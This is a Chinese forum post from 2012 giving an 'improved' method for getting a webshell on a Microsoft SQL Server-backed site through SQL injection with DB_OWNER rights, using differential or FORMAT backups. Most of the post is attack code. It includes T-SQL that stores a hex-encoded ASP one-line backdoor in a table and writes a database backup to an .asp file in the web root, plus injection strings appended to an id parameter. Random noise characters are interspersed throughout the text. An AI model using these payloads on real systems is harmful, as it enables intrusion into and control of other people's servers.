找回密码
 立即注册
查看: 3015|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:57:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
减少备份文件大小,得到可执行的webshell成功率提高不少! K/ ^( x3 n; @* U
+ p& Z" @+ K3 Q7 z- A+ U
一利用差异备份
* H( t  {7 J9 o加一个参数WITH DIFFERENTIAL
; s. h, m/ H3 {& c7 d% a" H3 b3 p) B$ V- ^( |: ?9 T: Q8 ~0 r. q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
! h5 {& m% L, J8 s4 K# p' m& ccreate table [dbo].[xiaolu] ([cmd] [image]);
0 H  J4 v7 G: E: Finsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E); ?8 F9 N8 |8 d9 d9 k
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
3 V- r( f  D% W, T% `; \; R$ c
& H8 e& w7 f; N7 l1 ]& n! L0 u二利用完全FORMAT* I/ _- B2 K6 J, Z" {
加一个参数WITH FROMAT
9 @1 P) }# P: x) ~/ k' G7 t有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以8 J( m8 t& S5 y; s
& y7 R4 g0 A5 W' \  K
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s( Z7 Z5 C. Z$ y1 V. x
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)% M1 W' z! E' z- Z; R
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
' @# k. M  P* \) U7 A
; U% N7 {% K5 g, O) h# X总的来说就是那么简单几句,下面以备份数据库model为例子
$ v7 ^$ T; ~4 b1 d, x" f2 e7 k5 T* j, ?9 S- j( G: Q  k3 u" c# ^
id=1;use model create table cmd(str image);insert into cmd(str) values (”)7 V* k7 r  y4 T$ x2 @+ [1 s0 F
6 _. K" _. [# ]2 A
id=1;backup database model to disk=’你的路径‘ with differential,format;–+ I7 v/ f+ ]3 `& T
, _5 w8 y5 k: A$ L5 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表